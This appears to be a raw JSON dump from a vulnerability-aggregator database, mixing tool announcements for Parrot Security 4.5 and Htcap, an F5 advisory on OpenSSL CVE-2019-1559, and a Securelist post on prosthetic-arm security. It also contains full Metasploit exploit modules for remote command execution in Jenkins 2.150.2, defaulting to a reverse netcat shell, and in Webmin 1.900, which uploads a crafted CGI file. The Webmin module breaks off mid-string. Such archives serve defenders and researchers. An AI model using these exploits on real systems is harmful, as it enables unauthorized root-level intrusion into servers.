{"lastseen": "2019-01-27T23:55:13", "bulletinFamily": "tools", "description": "[  ](<https://1.bp.blogspot.com/-DczliafvY8c/XEi1Nnbc3HI/AAAAAAAAN_c/qohWiQeIVXk839DsxExd26Bq2EDQlLd2QCLcBGAs/s1600/parrot-4.5.jpg>)\n\n \n\n\nParrot 4.5 is officially released, and there are some major changes under the hood, powered by the long-term supported Linux 4.19 kernel series, preparing the project for the upcoming Parrot 5.0 LTS release. For future releases, Parrot Security plans to a support two kernels, stable kernel and a testing kernel. \n\n \n\n\nParrot 4.5 also comes with the latest Metasploit 5.0 penetration testing framework, which introduces major features like new evasion modules, a new search engine, a json-rpc daemon, integrated web services, and support for writting shellcode in C. \n\n \n\n\nThis release improves the metapackages for developers, making it a lot easier to set up an advanced development environment for multiple frameworks and programming languages. These include parrot-devel, parrot-devel-tools, and parrot-devel-extra. \n \n\n\n## ** Parrot 4.5 drops support for 32-bit computers **\n\nOn the other side, Parrot 4.5 is the first release of the ethical hacking operating system to no longer ship with installation or live images for older, 32-bit only computers. With this, Parrot joins the growing trend of GNU/Linux distributions dropping 32-bit images. However, the developers noted the fact that they will continue to support the 32-bit architecture with updates through the official software repositories for existing users. \n \n\n\n## Better Dev Tools \n\nThere are updates in metapackages for developers, and setting up an advanced development environment for several programming languages and frameworks is now easier than ever: \n \n\n\n### parrot-devel \n\nIt is pre-installed in Parrot 4.5 and provides the following tools: \n\n\n * vscodium - an advanced and extensible text editor. \n * zeal - an offline documentation downloader and browser. \n * git-cola - a graphic client to GIT. \n * meld - a graphic patch inspector. \n * tora - a graphic database frontend compatible with several database backends. \nThese packages are included in the metapackage by using the \u201cRecommends\u201d apt directive, and they can be removed individually without triggering the removal of the whole parrot-devel metapackage. \nThe metapackage also recommends the installation of parrot-devel-tools. \n\n \n \n sudo apt update\n sudo apt install parrot-devel\n \n\n \n\n\n### parrot-devel-tools \n\nIt is recommended by parrot-devel and pre-installed in Parrot Security. It provides some useful compilers and interpreters for the most used languages and provides the following packages: \n\n\n * GCC/G++ - a compiler collection for C, C++ and other languages. \n * python3 - the cpython interpreter for the python 3.6 and 3.7 language. \n * ruby - the official ruby lang interpreter and basic toolkit (includes irb and ri as well). \nThe package also recommends the following packages, that can be safely removed without triggering the removal of the entire parrot-devel-tools metapackage: \n\n\n * default-jdk - the latest Java OpenJDK distribution for Java 11 (both JDK and JRE). \n * cython3 - a compiler for the cython language, a strongly-typed dialect of python for efficient code. \n * rust/cargo - the rust compiler and devel tools and its package management system. \n * valac - the vala c compiler. \n * mono-devel - the development tools for the MONO framework, an open source implementation of .net. \n * mono-runtime - the runtime of the MONO framework compatible and interoperable with the latest .net runtime. \n * php-cli - the PHP 7.3 language plus its command line interface and some useful core libraries. \n * perl6 - the PERL 6 interpreter and core libraries. \n \n sudo apt update\n sudo apt install parrot-devel-tools\n \n\n \n\n\n### parrot-devel-extra \n\nThe parrot-devel-extra metapackage is a quick way to install many additional development utilities like advanced IDEs, additional languages, debuggers and extra tools. \n\n\n * golang - go language compiler and runtime \n * nodejs - node.js framework \n * npm - node.js package manager \n * atom - advanced and extensible editor by github \n * qtcreator - powerful C, C++ and Qt/QML IDE and debugger. \n * kdevelop - advanced general purpose IDE by KDE. \n * edb-debugger - graphical debugger. \n * jad - Java decompiler. \n * nasm - powerful general purpose x86 assembler. \n * radare2 - advanced command line hexadecimal editor. \n * cmake - cross-platform, open-source make system. \n * valgrind - nstrumentation framework for building dynamic analysis tools. \n * devscripts/build-essential - useful development utilities for debian developers/maintainers. \n \n\n \n \n sudo apt update\n sudo apt install parrot-devel-extra\n \n\n \n \n\n\n** [ Download Parrot Security 4.5 ](<https://www.parrotsec.org/download.php>) **\n", "modified": "2019-01-23T20:40:01", "published": "2019-01-23T20:40:01", "id": "KITPLOIT:1585314570970742430", "href": "http://www.kitploit.com/2019/01/parrot-security-45-security-gnulinux.html", "title": "Parrot Security 4.5 - Security GNU/Linux Distribution Designed with Cloud Pentesting and IoT Security in Mind", "type": "kitploit", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2019-01-20T23:44:26", "bulletinFamily": "tools", "description": "[  ](<https://4.bp.blogspot.com/-b2giHGHxLhQ/XD9Yu6t7xnI/AAAAAAAAN2Y/2x9U0li_aywO5hlEoC6ZxJR1BdIkMhaTACLcBGAs/s1600/htcap.png>)\n\n \n\n\nHtcap is a web application scanner able to crawl single page application (SPA) in a recursive manner by intercepting ajax calls and DOM changes. Htcap is not just another [ vulnerability scanner ](<https://www.kitploit.com/search/label/Vulnerability%20Scanner>) since it's focused on the crawling process and it's aimed to detect and [ intercept ](<https://www.kitploit.com/search/label/Intercept>) ajax/fetch calls, websockets, jsonp ecc. It uses its own fuzzers plus a set of external tools to discover [ vulnerabilities ](<https://www.kitploit.com/search/label/vulnerabilities>) and it's designed to be a tool for both manual and automated [ penetration test ](<https://www.kitploit.com/search/label/Penetration%20Test>) of modern web applications. \n\nIt also features a small but powerful framework to quickly develop custom fuzzers with less than 60 lines of python. The fuzzers can work with GET/POST data, XML and JSON payloads and switch between POST and GET. Of course, fuzzers run in parallel in a multi-threaded environment. \n\nThis is the very first release that uses headless chrome instead of phantomjs. Htcap\u2019s Javascript crawling engine has been rewritten to take advantage of the new async/await features of ecmascript and has been converted to a nodjes module build on top of [ Puppetteer ](<https://github.com/GoogleChrome/puppeteer>) . \n\nMore infos at [ htcap.org ](<http://htcap.org/>) . \n\n \n** SETUP ** \n \n** Requirements ** \n\n\n 1. Python 2.7 \n 2. Nodejs and npm \n 3. Sqlmap (for sqlmap scanner module) \n 4. Arachni (for arachni scanner module) \n \n** Download and Run ** \n\n \n \n $ git clone https://github.com/fcavallarin/htcap.git htcap\n $ htcap/htcap.py\n\n \n** VIDEO ** \n \n\n\n \n** DOCUMENTATION ** \nDocumentation, examples and demos can be found at the official website [ https://htcap.org ](<https://htcap.org/>) . \n \n \n\n\n** [ Download Htcap ](<https://github.com/fcavallarin/htcap>) **\n", "modified": "2019-01-20T20:15:05", "published": "2019-01-20T20:15:05", "id": "KITPLOIT:1089045579464709462", "href": "http://www.kitploit.com/2019/01/htcap-web-application-scanner-able-to.html", "title": "Htcap - A Web Application Scanner Able To Crawl Single Page Application (SPA) In A Recursive Manner By Intercepting Ajax Calls And DOM Changes", "type": "kitploit", "cvss": {"score": 0.0, "vector": "NONE"}}], "f5": [{"lastseen": "2019-04-26T14:21:07", "bulletinFamily": "software", "description": "\nF5 Product Development has assigned IDs 761725 and 765053 (BIG-IP and Enterprise Manager), and CPF-25069 and CPF-25070 (Traffix) to this vulnerability. Additionally, [BIG-IP iHealth](<https://www.f5.com/services/support/support-offerings/big-ip-ihealth-diagnostic-tool>) may list Heuristic H18549143 on the **Diagnostics** > **Identified** > **Medium** page.\n\nTo determine if your product and version have been evaluated for this vulnerability, refer to the **Applies to (see versions)** box. To determine if your release is known to be vulnerable, the components or features that are affected by the vulnerability, and for information about releases or hotfixes that address the vulnerability, refer to the following table. For more information about security advisory versioning, refer to [K51812227: Understanding Security Advisory versioning](<https://support.f5.com/csp/article/K51812227>).\n\nProduct | Branch | Versions known to be vulnerable | Fixes introduced in | Severity | CVSSv3 score1 | Vulnerable component or feature \n---|---|---|---|---|---|--- \nBIG-IP (LTM, AAM, AFM, Analytics, APM, ASM, DNS, Edge Gateway, FPS, GTM, Link Controller, PEM, WebAccelerator) | 14.x | None | Not applicable | Not vulnerable | None | None \n13.x | None | Not applicable \n12.x | None | Not applicable \n11.x | None | Not applicable \n14.x | 14.1.0 | None | Medium \n | [6.8](<https://first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N>) \n | iRulesLX is exposed to this vulnerability because NodeJS uses the OpenSSL library \n13.x | None | Not applicable \n12.x | None | Not applicable \n11.x | None | Not applicable \n14.x | 14.0.0 - 14.1.0 | None | Medium | [6.8](<https://first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N>) | iAppsLX is exposed to this vulnerability because NodeJS uses the OpenSSL library \n13.x | 13.0.0 - 13.1.1 | None \n12.x | 12.1.0 - 12.1.4 | None \n11.x | None | Not applicable \nEnterprise Manager | 3.x | None | Not applicable | Not vulnerable | None | None \nBIG-IQ Centralized Management | 6.x | 6.0.0 - 6.1.0 | None | Medium | [6.8](<https://first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N>) | NodeJS \n5.x | None | Not applicable | Not vulnerable | None | None \nF5 iWorkflow | 2.x | None | Not applicable | Not vulnerable | None | None \nTraffix SDC | 5.x | 5.0.0 - 5.1.0 | None | Medium | [6.8](<https://first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N>) | OpenSSL \n4.x | 4.4.0 | None \n \n1The CVSSv3 score link takes you to a resource outside of AskF5, and it is possible that the document may be removed without our knowledge.\n\nIf you are running a version listed in the **Versions known to be vulnerable** column, you can eliminate this vulnerability by upgrading to a version listed in the **Fixes introduced in** column. If the table lists only an older version than what you are currently running, or does not list a non-vulnerable version, then no upgrade candidate currently exists.\n\nMitigation\n\nNone\n\n * [K51812227: Understanding Security Advisory versioning](<https://support.f5.com/csp/article/K51812227>)\n * [K41942608: Overview of Security Advisory articles](<https://support.f5.com/csp/article/K41942608>)\n * [K4602: Overview of the F5 security vulnerability response policy](<https://support.f5.com/csp/article/K4602>)\n * [K4918: Overview of the F5 critical issue hotfix policy](<https://support.f5.com/csp/article/K4918>)\n * [K9502: BIG-IP hotfix and point release matrix](<https://support.f5.com/csp/article/K9502>)\n * [K15113: BIG-IQ hotfix and point release matrix](<https://support.f5.com/csp/article/K15113>)\n * [K48955220: Installing an OPSWAT Endpoint Security update on BIG-IP APM systems (11.4.x and later)](<https://support.f5.com/csp/article/K48955220>)\n * [K167: Downloading software and firmware from F5](<https://support.f5.com/csp/article/K167>)\n * [K9970: Subscribing to email notifications regarding F5 products](<https://support.f5.com/csp/article/K9970>)\n * [K9957: Creating a custom RSS feed to view new and updated documents](<https://support.f5.com/csp/article/K9957>)\n * [K21232150: Considerations for upgrading BIG-IQ or F5 iWorkflow systems](<https://support.f5.com/csp/article/K21232150>)\n", "modified": "2019-04-03T23:58:00", "published": "2019-03-20T01:10:00", "id": "F5:K18549143", "href": "https://support.f5.com/csp/article/K18549143", "title": "OpenSSL vulnerability CVE-2019-1559", "type": "f5", "cvss": {"score": 4.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:NONE/A:NONE/"}}], "securelist": [{"lastseen": "2019-03-04T14:24:54", "bulletinFamily": "blog", "description": "\n\nThe IoT world has long since grown beyond the now-ubiquitous smartwatches, smartphones, smart coffee machines, cars capable of sending tweets and Facebook posts and other stuff like fridges that send spam. Today's IoT world now boasts state-of-the-art solutions that quite literally help people. Take, for example, the biomechanical prosthetic arm made by Motorica Inc. This device helps people who have lost their limb to restore movement.\n\nVia dedicated sensors, the biomechanical prosthetic arm reads the muscle contraction parameters and analyzes them to produce movements with the robotic fingers. The arm takes little time to get used to standard movements, after which it becomes a full-fledged assistant.\n\nLike other IoT devices, the prosthetic arm sends statistics to the cloud, such as movement amplitudes, the arm's positions, etc. And just like other IoT devices, this valuable invention must be checked for vulnerabilities.\n\nIn our research, we focused on those attack vectors that can be implemented without the arm owner's knowledge. Below is a standard diagram of the arm's interactions with the outside world.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/02/26085209/Scheme_bionic_arm.jpg>)\n\nEach arm is equipped with an embedded SIM card for sending statistical data. The SIM is needed to access the internet and send statistics and other information about the arm's status. A connection is established to Motorica's remote cloud, which is an interface for remotely monitoring the status of all registered biomechanical arms. Good thing about the arm's current architecture \u2013 the connection between the arm and the cloud in unidirectional. This means that only the arm is sending data to the cloud, while the cloud sends nothing back. Yet, Motorica Inc says, they plan to implement this feature later.\n\nThe basic logic of the arm, such as movement directions, switching motors on or off, etc., are implemented in the C language. The cloud for receiving, processing and storing information is implemented based on the following technologies:\n\n * NodeJS \u2013 for backend,\n * ReactJS \u2013 for frontend,\n * MongoDB \u2013 database.\n\n## Arm-wrestling\n\nAt first, we decided to attack the logic of the arm. But soon we discovered that the C code is well-structured and has no vulnerabilities in it. However, the arm that we tested has only the basic functionality. Motorica Inc. wants to add more functions to its biomechanical limbs: smartphone interconnect, contactless payments and other useful features. From our point of view, all these new technologies must be tested for cybersecurity. Especially the ones that could be exploited for MiTM attacks.\n\nThen we started to analyze the protocol used to send the statistics to the cloud and the logic for processing that information on the server. The initial findings showed that the data was sent using the insecure HTTP protocol. A little later we found some incorrect account operations and insufficient input validation that can be used by a remote attacker to:\n\n * gain access to information about all the accounts in the cloud including the logins and passwords (in plaintext) for all the prosthetic arms and administrators,\n * add or delete regular and privileged users (with administrator rights),\n * launch attacks against administrators via the cloud and then attack Motorica's internal infrastructure,\n * NoSQL-injection,\n * cause denial of service for cloud administrator.\n\nIn our research we did not go deep into data analysis transferred between muscle sensors and the arm itself or study how the device is interconnected with contactless payment systems or smartphones. These look like very promising research fields for the next years.\n\nWhat type of attackers might be interested in such attacks \u2013 getting prosthetic arm' data? It's difficult to say at this moment. However, when biomechanical limbs become more intelligent \u2013 attacks could be more beneficial to their perpetrators. Or, when it gets connected to the neuro-implanted brain-chip, the remote attacker will get access to something more valuable than money. Anyway, all IoT devices (and especially biomechanical ones) should be tested for cybersecurity issues at every stage of development.\n\nIf you create amazing technologies that are bigger and more important than just classical IoT devices, that help people, or even save lives \u2013 you have to check how your technology works, and whether there is a chance to attack your device and damage people. To prevent basic vulnerabilities, please follow the best coding practices, implement SDL, do security source code review, create a security champion in your development team, do external vulnerability researches and penetration testing. All these useful and much needed steps will increase the cybersecurity level of your devices and technologies.", "modified": "2019-02-26T11:00:46", "published": "2019-02-26T11:00:46", "id": "SECURELIST:E837AADEC9BB30CA5BE8906BD2721489", "href": "https://securelist.com/how-to-attack-and-defend-a-prosthetic-arm/89693/", "type": "securelist", "title": "How to Attack and Defend a Prosthetic Arm", "cvss": {"score": 0.0, "vector": "NONE"}}], "zdt": [{"lastseen": "2019-02-25T06:42:25", "bulletinFamily": "exploit", "description": "Exploit for linux platform in category web applications", "modified": "2019-02-12T00:00:00", "published": "2019-02-12T00:00:00", "id": "1337DAY-ID-32162", "href": "https://0day.today/exploit/description/32162", "title": "Jenkins 2.150.2 - Remote Command Execution Exploit", "type": "zdt", "sourceData": "##\r\n# This module requires Metasploit: https://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n \r\nrequire 'msf/core'\r\n\r\nclass MetasploitModule < Msf::Exploit::Remote\r\n Rank = GoodRanking\r\n\r\n include Msf::Exploit::Remote::HttpClient\r\n \r\n def initialize(info = {})\r\n super(update_info(info,\r\n 'Name' => 'Jenkins <= 2.150.2 Remote Command Execution via Node JS (Metasploit)',\r\n 'Description' => %q{\r\n This module can run commands on the system using Jenkins users who has JOB creation and BUILD privileges.\r\n The vulnerability is exploited by a small script prepared in NodeJS.\r\n The sh parameter allows us to run commands.\r\n Sample script: \r\n node {\r\n sh \"whoami\"\r\n }\r\n In addition, ANONYMOUS users also have the authority to JOB create and BUILD by default.\r\n Therefore, all users without console authority can run commands on the system as root privilege.\r\n },\r\n 'Author' => [\r\n 'AkkuS <\u00d6zkan Mustafa Akku\u015f>', # Vulnerability Discovery, PoC & Msf Module\r\n ],\r\n 'License' => MSF_LICENSE,\r\n 'References' =>\r\n [\r\n ['URL', 'https://pentest.com.tr/exploits/Jenkins-Remote-Command-Execution-via-Node-JS-Metasploit.html']\r\n ],\r\n 'Privileged' => true,\r\n 'Payload' =>\r\n {\r\n 'DisableNops' => true,\r\n 'Space' => 512,\r\n 'Compat' =>\r\n {\r\n 'PayloadType' => 'cmd',\r\n 'RequiredCmd' => 'reverse netcat generic perl ruby python telnet',\r\n }\r\n },\r\n 'Platform' => 'unix',\r\n 'Arch' => ARCH_CMD,\r\n 'Targets' => [[ 'Jenkins <= 2.150.2', { }]],\r\n 'DisclosureDate' => 'Feb 11 2019',\r\n 'DefaultTarget' => 0,\r\n 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' }))\r\n\r\n register_options(\r\n [\r\n OptString.new('USERNAME', [ false, 'The username to authenticate as', '' ]),\r\n OptString.new('PASSWORD', [ false, 'The password for the specified username', '' ]),\r\n OptString.new('PATH', [ true, 'The path to jenkins', '/' ]),\r\n ], self.class)\r\n end\r\n##\r\n# Jenkins activity check\r\n##\r\n \r\n def check\r\n res = send_request_cgi({'uri' => \"/login\"})\r\n if res and res.headers.include?('X-Jenkins')\r\n return Exploit::CheckCode::Detected\r\n else\r\n return Exploit::CheckCode::Safe\r\n end\r\n end\r\n \r\n def exploit\r\n print_status('Attempting to login to Jenkins dashboard')\r\n res = send_request_cgi({'uri' => \"/script\"})\r\n if not (res and res.code)\r\n fail_with(Exploit::Failure::Unknown)\r\n end\r\n \r\n sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0]\r\n @cookie = \"#{sessionid}\"\r\n\tprint_status(\"#{sessionid}\")\r\n \r\n if res.code != 200\r\n print_status('Logging in...')\r\n##\r\n# Access control and information\r\n##\r\n res = send_request_cgi({\r\n 'method' => 'POST',\r\n 'uri' => \"/j_acegi_security_check\",\r\n 'cookie' => @cookie,\r\n 'vars_post' =>\r\n {\r\n 'j_username' => Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal'),\r\n 'j_password' => Rex::Text.uri_encode(datastore['PASSWORD'], 'hex-normal'),\r\n 'Submit' => 'Sign+in'\r\n }\r\n })\r\n\r\n if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/\r\n print_error('User Login failed. If anonymous login is active, exploit will continue.')\r\n end\r\n else\r\n print_status('No authentication required, skipping login...')\r\n end\r\n##\r\n# Check Crumb for create pipeline\r\n##\r\n\tcookies = res.get_cookies\r\n res = send_request_cgi({\r\n\t 'method' => 'GET',\r\n 'uri' => \"/view/all/newJob\",\r\n 'cookie' => cookies\r\n })\r\n\r\n html = res.body\r\n if html =~ /Jenkins-Crumb/\r\n print_good(\"Login Successful\")\r\n else\r\n print_status(\"Service found, but login failed\")\r\n exit 0\r\n end\r\n\r\n\tcrumb = res.body.split('Jenkins-Crumb')[1].split('\");<')[0].split('\"').last\r\n print_status(\"Jenkins-Crumb: #{crumb}\")\r\n##\r\n# Create Pipeline\r\n##\r\n res = send_request_cgi({\r\n\t 'method' => 'POST',\r\n 'uri' => \"/view/all/createItem\",\r\n 'cookie' => cookies,\r\n 'vars_post' =>\r\n {\r\n 'name' => \"cmd\",\r\n 'mode' => \"org.jenkinsci.plugins.workflow.job.WorkflowJob\",\r\n 'from' => \"\",\r\n 'Jenkins-Crumb' => \"#{crumb}\",\r\n 'json' => \"%7B%22name%22%3A+%22cmd%22%2C+%22mode%22%3A+%22org.jenkinsci.plugins.workflow.job.WorkflowJob%22%2C+%22from%22%3A+%22%22%2C+%22Jenkins-Crumb%22%3A+%22528f90f71b2d2742299b4daf503130ac%22%7\"\r\n }\r\n })\r\n\r\n##\r\n# Configure Pipeline\r\n##\r\n shell = payload.encoded\r\n res = send_request_cgi({\r\n\t 'method' => 'POST',\r\n 'uri' => \"/job/cmd/configSubmit\",\r\n 'cookie' => cookies,\r\n 'vars_post' =>\r\n {\r\n 'description' => \"cmd\",\r\n 'Jenkins-Crumb' => \"#{crumb}\",\r\n 'json' => \"{\\\"description\\\": \\\"cmd\\\", \\\"properties\\\": {\\\"stapler-class-bag\\\": \\\"true\\\", \\\"hudson-security-AuthorizationMatrixProperty\\\": {}, \\\"jenkins-model-BuildDiscarderProperty\\\": {\\\"specified\\\": false, \\\"\\\": \\\"0\\\", \\\"strategy\\\": {\\\"daysToKeepStr\\\": \\\"\\\", \\\"numToKeepStr\\\": \\\"\\\", \\\"artifactDaysToKeepStr\\\": \\\"\\\", \\\"artifactNumToKeepStr\\\": \\\"\\\", \\\"stapler-class\\\": \\\"hudson.tasks.LogRotator\\\", \\\"$class\\\": \\\"hudson.tasks.LogRotator\\\"}}, \\\"org-jenkinsci-plugins-workflow-job-properties-DisableConcurrentBuildsJobProperty\\\": {\\\"specified\\\": false}, \\\"org-jenkinsci-plugins-workflow-job-properties-DisableResumeJobProperty\\\": {\\\"specified\\\": false}, \\\"com-coravy-hudson-plugins-github-GithubProjectProperty\\\": {}, \\\"org-jenkinsci-plugins-workflow-job-properties-DurabilityHintJobProperty\\\": {\\\"specified\\\": false, \\\"hint\\\": \\\"MAX_SURVIVABILITY\\\"}, \\\"org-jenkinsci-plugins-pipeline-modeldefinition-properties-PreserveStashesJobProperty\\\": {\\\"specified\\\": false, \\\"buildCount\\\": \\\"1\\\"}, \\\"hudson-model-ParametersDefinitionProperty\\\": {\\\"specified\\\": false}, \\\"jenkins-branch-RateLimitBranchProperty$JobPropertyImpl\\\": {}, \\\"org-jenkinsci-plugins-workflow-job-properties-PipelineTriggersJobProperty\\\": {\\\"triggers\\\": {\\\"stapler-class-bag\\\": \\\"true\\\"}}}, \\\"disable\\\": false, \\\"hasCustomQuietPeriod\\\": false, \\\"quiet_period\\\": \\\"5\\\", \\\"displayNameOrNull\\\": \\\"\\\", \\\"\\\": \\\"0\\\", \\\"definition\\\": {\\\"script\\\": \\\"node {\\\\n sh \\\\\\\"#{shell}\\\\\\\"\\\\n}\\\", \\\"\\\": [\\\"try sample Pipeline...\\\", \\\"\\\\u0001\\\\u0001\\\"], \\\"sandbox\\\": true, \\\"stapler-class\\\": \\\"org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition\\\", \\\"$class\\\": \\\"org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition\\\"}, \\\"core:apply\\\": \\\"\\\", \\\"Jenkins-Crumb\\\": \\\"#{crumb}\\\"}\",\r\n 'Submit' => \"Save\"\r\n }\r\n })\r\n\r\n if res.code == 302\r\n print_good(\"Pipeline was created and Node JS code was integrated.\")\r\n end\r\n##\r\n# Build Pipeline and Execute payload\r\n##\r\n print_status(\"Trying to get remote shell...\")\r\n res = send_request_cgi({\r\n\t 'method' => 'POST',\r\n 'uri' => \"/job/cmd/build?delay=0sec\",\r\n 'cookie' => cookies,\r\n 'vars_post' =>\r\n {\r\n 'Jenkins-Crumb' => \"#{crumb}\"\r\n }\r\n })\r\n handler\r\n end\r\nend\r\n##\r\n# End\r\n##\n\n# 0day.today [2019-02-25] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/32162"}, {"lastseen": "2019-02-06T05:23:01", "bulletinFamily": "exploit", "description": "Exploit for cgi platform in category remote exploits", "modified": "2019-01-20T00:00:00", "published": "2019-01-20T00:00:00", "id": "1337DAY-ID-32006", "href": "https://0day.today/exploit/description/32006", "title": "Webmin 1.900 - Remote Command Execution Exploit", "type": "zdt", "sourceData": "##\r\n# This module requires Metasploit: http://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nrequire 'msf/core'\r\nrequire 'uri'\r\n\r\nclass MetasploitModule < Msf::Exploit::Remote\r\n Rank = ExcellentRanking\r\n\r\n include Msf::Exploit::Remote::HttpClient\r\n include Msf::Exploit::FileDropper\r\n\r\n def initialize(info = {})\r\n super(update_info(info,\r\n 'Name' => 'Webmin 1.900 - Remote Command Execution',\r\n 'Description' => %q{\r\n This module exploits an arbitrary command execution vulnerability in Webmin\r\n 1.900 and lower versions. Any user authorized to the \"Java file manager\" \r\n and \"Upload and Download\" fields, to execute arbitrary commands with root privileges.\r\n In addition, \"Running Processes\" field must be authorized to discover the directory to be uploaded.\r\n A vulnerable file can be printed on the original files of the Webmin application.\r\n The vulberable file we are uploading should be integrated with the application. \r\n Therefore, a \".cgi\" file with the vulnerability belong to webmin application should be used. \r\n The module has been tested successfully with Webmin 1900 over Debian 4.9.18.\r\n },\r\n 'Author' => [\r\n 'AkkuS <\u00d6zkan Mustafa Akku\u015f>', # Vulnerability Discovery, PoC & Msf Module\r\n ],\r\n 'License' => MSF_LICENSE,\r\n 'References' =>\r\n [\r\n ['URL', 'https://pentest.com.tr/exploits/Webmin-1900-Remote-Command-Execution.html']\r\n ],\r\n 'Privileged' => true,\r\n 'Payload' =>\r\n {\r\n 'DisableNops' => true,\r\n 'Space' => 512,\r\n 'Compat' =>\r\n {\r\n 'PayloadType' => 'cmd',\r\n 'RequiredCmd' => 'generic perl ruby python telnet',\r\n }\r\n },\r\n 'Platform' => 'unix',\r\n 'Arch' => ARCH_CMD,\r\n 'Targets' => [[ 'Webmin <= 1.900', { }]],\r\n 'DisclosureDate' => 'Jan 17 2019',\r\n 'DefaultTarget' => 0))\r\n\r\n register_options(\r\n [\r\n Opt::RPORT(10000),\r\n OptBool.new('SSL', [true, 'Use SSL', true]),\r\n OptString.new('USERNAME', [true, 'Webmin Username']),\r\n OptString.new('PASSWORD', [true, 'Webmin Password'])\r\n ], self.class)\r\n end\r\n\r\n##\r\n# Target and input verification\r\n##\r\n\r\n def check\r\n\r\n peer = \"#{rhost}:#{rport}\"\r\n \r\n vprint_status(\"Attempting to login...\")\r\n\r\n data = \"page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}\"\r\n\r\n res = send_request_cgi(\r\n {\r\n 'method' => 'POST',\r\n 'uri' => \"/session_login.cgi\",\r\n 'cookie' => \"testing=1\",\r\n 'data' => data\r\n }, 25)\r\n\r\n if res and res.code == 302 and res.get_cookies =~ /sid/\r\n vprint_good \"Login successful\"\r\n session = res.get_cookies.split(\"sid=\")[1].split(\";\")[0]\r\n else\r\n vprint_error \"Service found, but login failed\"\r\n return Exploit::CheckCode::Detected\r\n end\r\n\r\n vprint_status(\"Attempting to execute...\")\r\n\r\n command = \"echo #{rand_text_alphanumeric(rand(5) + 5)}\"\r\n\r\n res = send_request_cgi(\r\n {\r\n 'uri' => \"/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|\",\r\n 'cookie' => \"sid=#{session}\"\r\n }, 25)\r\n\r\n\r\n if res and res.code == 200 and res.message =~ /Document follows/\r\n return Exploit::CheckCode::Vulnerable\r\n else\r\n return Exploit::CheckCode::Safe\r\n end\r\n\r\n end\r\n\r\n##\r\n# Exploiting phase\r\n##\r\n\r\n def exploit\r\n\r\n peer = \"#{rhost}:#{rport}\"\r\n\r\n print_status(\"Attempting to login...\")\r\n\r\n data = \"page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}\"\r\n\r\n res = send_request_cgi(\r\n {\r\n 'method' => 'POST',\r\n 'uri' => \"/session_login.cgi\",\r\n 'cookie' => \"testing=1\",\r\n 'data' => data\r\n }, 25)\r\n\r\n if res and res.code == 302 and res.get_cookies =~ /sid/\r\n session = res.get_cookies.scan(/sid\\=(\\w+)\\;*/).flatten[0] || ''\r\n if session and not session.empty?\r\n print_good \"Login successfully\"\r\n else\r\n print_error \"Authentication failed\"\r\n return\r\n end\r\n else\r\n print_error \"Authentication failed\"\r\n return\r\n end\r\n\r\n##\r\n# Directory and SSL verification for referer\r\n## \r\n ps = \"#{datastore['SSL']}\"\r\n if ps == \"true\"\r\n ssl = \"https://\"\r\n else\r\n ssl = \"http://\"\r\n end\r\n\r\n print_status(\"Target URL => #{ssl}#{peer}\")\r\n \r\n res1 = send_request_raw(\r\n {\r\n 'method' => \"POST\",\r\n 'uri' => \"/proc/index_tree.cgi?\",\r\n 'headers' =>\r\n {\r\n 'Referer' => \"#{ssl}#{peer}/sysinfo.cgi?xnavigation=1\",\r\n },\r\n 'cookie' => \"redirect=1; testing=1; sid=#{session}\"\r\n })\r\n\r\n if res1 and res1.code == 200 and res1.body =~ /Running Processes/\r\n print_status \"Searching for directory to upload...\"\r\n stpdir = res1.body.scan(/perl.+miniserv.pl/).map{ |s| s.split(\"perl \").last }.map{ |d| d.split(\"miniserv\").first }.map{ |d| d.split(\"miniserv\").first }\r\n dir = stpdir[0] + \"file\" \r\n print_good(\"Directory to upload => #{dir}\")\r\n else\r\n print_error \"No access to processes or no upload directory found.\"\r\n return\r\n end \r\n\r\n##\r\n# Loading phase of the vulnerable file\r\n##\r\n boundary = Rex::Text.rand_text_alphanumeric(29)\r\n\r\n data2 = \"-----------------------------{boundary}\\r\\n\"\r\n data2 << \"Content-Disposition: form-data; name=\\\"upload0\\\"; filename=\\\"show.cgi\\\"\\r\\n\"\r\n data2 << \"Content-Type: application/octet-stream\\r\\n\\r\\n\"\r\n data2 << \"#!/usr/local/bin/perl\\n# show.cgi\\n# Output some file for the browser\\n\\n\"\r\n data2 << \"$trust_unknown_referers = 1;\\nrequire './file-lib.pl';\\n&ReadParse();\\nuse POSIX;\\n\"\r\n data2 << \"$p = $ENV{'PATH_INFO'};\\nif ($in{'type'}) {\\n\\t# Use the supplied content type\\n\\t\"\r\n data2 << \"$type = $in{'type'};\\n\\t$download = 1;\\n\\t}\\nelsif ($in{'format'} == 1) {\\n\\t\"\r\n data2 << \"# Type comes from compression format\\n\\t$type = \\\"application/zip\\\";\\n\\t}\\n\"\r\n data2 << \"elsif ($in{'format'} == 2) {\\n\\t$type = \\\"application/x-gzip\\\";\\n\\t}\\n\"\r\n data2 << \"elsif ($in{'format'} == 3) {\\n\\t$type = \\\"application/x-tar\\\";\\n\\t}\\nelse {\\n\\t\"\r\n data2 << \"# Try to guess type from filename\\n\\t$type = &guess_mime_type($p, undef);\\n\\t\"\r\n data2 << \"if (!$type) {\\n\\t\\t# No idea .. use the 'file' command\\n\\t\\t\"\r\n data2 << \"$out = &backquote_command(\\\"file 